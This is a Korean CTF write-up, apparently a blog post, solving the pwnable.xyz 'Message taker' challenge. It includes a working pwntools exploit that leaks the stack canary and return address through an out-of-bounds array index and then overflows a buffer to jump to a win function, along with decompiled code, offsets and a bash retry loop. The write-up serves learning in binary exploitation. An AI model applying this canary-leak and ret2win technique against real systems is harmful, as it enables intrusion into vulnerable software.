#!/bin/bash
for i in {1..100}
do
output=$(timeout 5s python my_python_file.py)
if [[ $output == *"FLAG{"*"}"* ]]; then
flag=$(echo "$output" | grep -o "FLAG{[^}]*}")
echo "FLAG FOUND: $flag"
exit 0
else
echo "FLAG NOT FOUND."
fi
done
echo "FLAG NOT FOUND in 100 tries"
from pwn import *
p = remote("svc.pwnable.xyz", 30017)
# p = process("./challenge")
p.sendlineafter("Message: ", "minseo")
cnry = 0x0
for i in range(17,10,-1): # 첫바이트는 NULL
p.sendlineafter("> ", chr(48+i))
leaked = int(p.recvline()[7:-23])
# print(hex(leaked))
cnry += leaked
cnry = cnry << 8
# gdb.attach(p) ; b *get_choice+21 후 [rbp-0x8] 확인해 제대로 canary leak 된 것 확인
# get_choice의 SFP에 저장된 main RBP를 이용해 main canary도 동일함을 확인
ret = 0x0
for i in range(31,25,-1):
p.sendlineafter("> ", chr(48+i))
leaked = int(p.recvline()[7:-23])
ret = ret << 8
ret += leaked
# print(hex(ret))
# gdb.attach(p) ; ret 제대로 leak 됨을 확인
winAddr = ret - 0xb30 + 0xaac
print(hex(cnry))
print(hex(winAddr))
pay = b'A'*40+p64(cnry)+b'C'*8+p64(winAddr)
p.sendlineafter("> ", "1")
p.sendlineafter("Message: ", pay)
p.sendlineafter("> ", "0")
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // eax
char v5[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("Message taker.");
printf("Message: ");
// c언어에서 표현하는 모든 문자열의 끝에는 널바이트 삽입됨
// 길이제한 없음. bof 가능 -> RET overwrite
_isoc99_scanf("%s", v5);
getchar();
while ( 1 )
{
while ( 1 )
{
// puts("Menu:\n1. Edit message.\n2. Print message.\n3. Admin?");
print_menu();
printf("> ");
choice = get_choice();
if ( choice != 1 )
break;
printf("Message: ");
_isoc99_scanf("%s", v5);
getchar();
}
if ( choice <= 1 )
break;
if ( choice == 2 )
{
printf("Your message: %s\n", v5);
}
else if ( choice == 3 )
{
if ( admin ) // 전역변수 admin
win();
}
else
{
LABEL_14:
printf("Error: %d is not a valid option\n", (unsigned int)choice);
}
}
if ( choice )
goto LABEL_14;
return 0;
}
__int64 get_choice()
{
char v1; // [rsp+Dh] [rbp-13h]
char v2[10]; // [rsp+Eh] [rbp-12h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2[0] = 0;
v2[1] = 1;
v2[2] = 2;
v2[3] = 3;
v2[4] = 4;
v2[5] = 5;
v2[6] = 6;
v2[7] = 7;
v2[8] = 8;
v2[9] = 9;
v1 = getchar();
getchar();
return (unsigned __int8)v2[v1 - 48];
}
Full RELRO Canary found NX enabled PIE enabled
- get_choice() v2에서 OOB 취약점 발생, 스택값 1byte씩 유출 가능
- __readfsqword(0x28u)의 리턴값은 실행중인 코드 내에서는 동일할 것. fs:0x28 위치의 8B 값이므로
=> get_choice()나 main()이나 canary 값 동일
- RET 유출시켜 offset 이용해 win 함수의 주소 구한다
get_choice RET
pwndbg> x/gx $rbp+0x8
0x7fffffffddb8: 0x0000555555554b30 ; main+113
0x0000555555554bc3 <+260>: call 0x555555554aac <win>
0x555555554aac <win>
- canary는 v2[10~17], SFP는 v2[18~25], RET는 v2[26~33]
- 주의할 점: canary 첫바이트(little endian 기준)는 NULL byte이므로 읽어들이려고 할 시 choice=0 되면서 main 함수 종료!
- 40 Dummy bytes + leaked canary + 8 Dummy bytes + winAddr 이렇게 payload 보내고
- ret2win 시키면 된다!
<로컬에서 돌려보니>
RET에 win 주소를 다이렉트로 입력하니 <do_system+1094> 라인에서 오류 발생.
system 함수 내에서 발생하는 오류로 rsp 값이 0x16 배수로 정렬되어있지 않아 발생한다
RET에 call win 명령어의 주소(main+260) 입력하니 제대로 익스플로잇 됨
<원격에선>
\x0a, \x0b를 만나면 white space로 인식해 그 전까지만 입력받음..
새로 알게된 점
gets(str)함수나 scanf("%s", &str) 함수는 white space 만날때까지 입력받는다. 중간에 널바이트 껴있어도 제대로 입력됨!!
When you use scanf with %s it reads until it hits whitespace.
ChatGPT 이용해 파이썬 반복실행 쉘코드를 짜봤다
#!/bin/bash
for i in {1..100}
do
output=$(timeout 5s python my_python_file.py)
if [[ $output == *"FLAG{"*"}"* ]]; then
flag=$(echo "$output" | grep -o "FLAG{[^}]*}")
echo "FLAG FOUND: $flag"
exit 0
else
echo "FLAG NOT FOUND."
fi
done
echo "FLAG NOT FOUND in 100 tries"
- The first line #!/bin/bash is called the shebang and specifies that the script should be executed using the Bash shell
- The for loop will run the python my_python_file.py command 100 times, incrementing the i variable from 1 to 100
- The timeout command will run the python my_python_file.py command and terminate it after 5 seconds if it hasn't finished yet
- The output variable stores the output of the python command.
- The if statement checks whether the output variable contains a string that starts with "FLAG{" and ends with "}" using a pattern matching operator == *"FLAG{"*"}"*.
- If the condition is true, the grep command with the -o option will extract the content between the brackets, and the result is stored in the flag variable.
- Save this code as a shell script file with a .sh extension, for example my_shell_script.sh. Then you can make the file executable by running the command chmod +x my_shell_script.sh.
왜 원격에선 안되지??
leak 한 canary나 win함수 내 바이트가 scanf의 종료 char (우리에겐 bad characters)가 '띄어쓰기(0x20) 혹은 엔터(0x0a)'가 포함되어 있을 때니까 당황하지 말고 될 때까지 돌려주면 된다!
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - iape (0) | 2023.02.15 |
---|---|
pwnable.xyz - strcat (0) | 2023.02.12 |
pwnable.xyz - J-U-M-P (0) | 2023.02.12 |
pwnable.xyz - SUS (0) | 2023.02.09 |
pwnable.xyz - fspoo (0) | 2023.02.09 |